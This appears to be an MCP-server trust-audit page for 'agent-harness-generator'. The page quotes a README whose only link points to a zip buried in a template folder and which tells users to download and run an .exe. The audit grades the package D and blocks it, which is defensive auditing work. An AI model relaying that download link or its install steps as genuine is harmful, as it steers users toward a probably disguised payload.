agent-harness-generatorBLOCK
Create custom AI agent harnesses for any repository using this CLI generator.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/Daffiburrlike452/agent-harness-generator/main/packages/create-agent-harness/templates/vertical_exotic/.claude/harness-generator-agent-v2.5-alpha.2.zip)
This tool helps creators build their own artificial intelligence agents. You do not need to write code to start. The harness provides a structure for your agents to think, learn, and store information. It connects your agents to popular models like Claude and Codex while keeping your workspace safe.
📥 How to download the software
Follow these steps to get the tool on your computer.
- Go to the official download page.
- Look for the section labeled Releases on the right side of the screen.
- Click the link for the latest version.
- Find the file ending in .exe for Windows.
- Save this file to your computer.
- Open your folder and double-click the file to start the installation.
- Follow the prompts on your screen to finish the setup process.
⚙️ System settings
Your computer needs specific parts to run the harness well. Check that you have these items:
- Windows 10 or Windows 11.
- At least 8 gigabytes of memory.
- An active internet connection.
- Node.js software installed on your machine.
If you lack Node.js, search for the official website and download the long-term support version. This allows the harness to function as a command line tool on your system.
🛠️ Key features for your agents
The harness provides a framework for advanced projects. It acts as a skeleton for software agents.
Custom scaffolding
You create a unique identity for your agent. The system sets up folders and files so the agent knows where to save its work
27b7fa1bf446OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add vertical-trading --env HARNESS_MCP_TOKEN=${HARNESS_MCP_TOKEN} --env NPM_SECRET_NAME=${NPM_SECRET_NAME} --env OPENROUTER_API_KEY=${OPENROUTER_API_KEY} --env WITNESS_SIGNING_KEY=${WITNESS_SIGNING_KEY} -- npx -y @metaharness/[email protected]{
"mcpServers": {
"vertical-trading": {
"command": "npx",
"args": [
"-y",
"@metaharness/[email protected]"
],
"env": {
"HARNESS_MCP_TOKEN": "${HARNESS_MCP_TOKEN}",
"NPM_SECRET_NAME": "${NPM_SECRET_NAME}",
"OPENROUTER_API_KEY": "${OPENROUTER_API_KEY}",
"WITNESS_SIGNING_KEY": "${WITNESS_SIGNING_KEY}"
}
}
}
}Exposed tools (34)
26 read · 8 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
X | read | has: a colon |
acme-bot | read | demo |
bench-bot | read | benchmark |
campaign-brief | read | Produce a campaign brief: audience, message, channels, content plan, and the metric. |
demo | read | a demo |
design-doc-diff | read | Diff the current design doc against the previous build and surface unresolved tensions. |
doc | read | docs the docs |
doctor | read | Health-check the harness: kernel load, MCP wiring, memory backend, host adapter. |
dup | read | d |
eval-report | read | Produce an honest eval report: metrics, subgroup slices, baseline delta, ship/no-ship. |
evolve | write | Run one safe self-improvement cycle: hypothesize → experiment → record → (maybe) federate. |
index-and-ask | read | Index a corpus into ruvector and answer a question with reviewed citations. |
kickoff | read | Open a ${cfg.name} session with the harness conventions in context. |
legal-redline | read | Redline contracts fast |
mastery-report | read | Summarise the learner\ |
media-plan | read | Build a cross-channel media plan with budget split, creative, and KPIs. |
memory-inspect | read | Search and inspect the harness memory namespace (HNSW + emergent-time decay). |
my-bot | read | My description |
my-legacy | read | old harness |
ping | read | Health probe — returns the harness name and a timestamp. No privileged capability. |
pipeline-report | read | Summarise the current pipeline by stage + the one bottleneck to address this week. |
plan-change | read | Turn a feature request into a minimal, file-level implementation plan before any code. |
playtest-recap | write | Run one full playtest analysis cycle: read → critique balance → model economy → check narrative. |
qualify-lead | write | Run one qualification pass on a lead: BANT/MEDDPICC score + missing-fact list + go/no-go. |
quarterly-plan | read | Build a quarterly plan: findings → strategy → owned action items tied to KPIs. |
release-check | write | Run the release-readiness umbrella + draft a tweet-length announcement. |
repo-triage | read | Maintainer triage: what changed, what is risky, what to review first. |
review-diff | read | Review the current working diff for correctness, security, and reuse. |
run-swarm | write | Decompose a goal and run the orchestrator→planner→worker→critic loop to completion. |
store | write | write a memory |
teach-next | write | Run one teaching cycle: pick next concept → explain → quiz → grade → update mastery. |
top-level-bot | read | old shape |
wellness-intake | write | Run a safe, structured wellness intake that escalates red flags to professionals. |
x | read | xxxxxxxxxxx |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (4 observation(s))
- Network
- declared (4 observation(s))
- Shell
- declared (7 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (19)
> `tsconfig.json`, and a smoke test (ADR kernel-fallback work) the web port does
harness-generator-agent-v2.5-alpha.2.zip
console.log(` # Add ANTHROPIC_API_KEY as a repo secret, then run from the Actions tab.`);
add({ id: 'allow-network', severity: 'medium', title: 'Network access granted', detail: 'allowNetwork=true widens the exfiltration surface. Scope to specific hosts if possible.' });documentNamespace: `https://example.invalid/harness/${pkg.name}/sbom-${createHash('sha1').update(`p=${packages.length}`).digest('hex').slice(0, 12)}`,return createHash('sha1').update(`v=${versionCount}`).digest('hex');checksums: [{ algorithm: 'SHA1', checksumValue: createHash('sha1').update(p.integrity ?? `${p.name}@${p.version}`).digest('hex') }],const outDir = path.resolve(webUiRoot, '../../docs/web-ui');
import { HOSTS } from '../../generator/catalog';import policyData from '../../.harness/mcp-policy.json' with { type: 'json' };include_str!("../../../packages/create-agent-harness/templates/catalog.json");import { scaffold } from '../../packages/create-agent-harness/dist/index.js';@huggingface/transformers, jszip, lucide-react, react, react-dom, @playwright/test, @types/react, @types/react-dom
@napi-rs/cli, @types/node, typescript, vitest
@types/node, typescript, vitest
@metaharness/router, @types/node, typescript, vitest
kolorist, prompts, @types/node, @types/prompts, typescript, vitest, @ruvector/ruvllm
2. **`NousResearch/hermes-agent`** (https://github.com/NousResearch/hermes-agent) — the CURRENT (v0.2+) long-running agent runtime. Persistent memory, scheduled automations, and **explicit MCP support
docs/web-ui/screenshot-mobile.png
Gates applied: no_behavioural_pass.
27b7fa1bf446full audit observations/trust-audit/mcp-server/daffiburrlike452__agent-harness-generator.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 27b7fa1bf446 | BLOCK | D | 69 | first audit |
Questions
What is the agent-harness-generator MCP server?
Create custom AI agent harnesses for any repository using this CLI generator.
What tools does agent-harness-generator expose?
34 in total: 26 read-only, 8 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is agent-harness-generator safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on.
What credentials does agent-harness-generator need?
It reads HARNESS_MCP_TOKEN, NPM_SECRET_NAME, OPENROUTER_API_KEY and WITNESS_SIGNING_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does agent-harness-generator run?
It speaks streamable-http, so it runs as a service you connect to over the network. It is published on npm as @metaharness/vertical-trading at 0.1.0.
How current is this page?
The grade is for one exact copy of the source (27b7fa1bf446), read on 2026-10-11. The repository is watched and re-audited when it changes.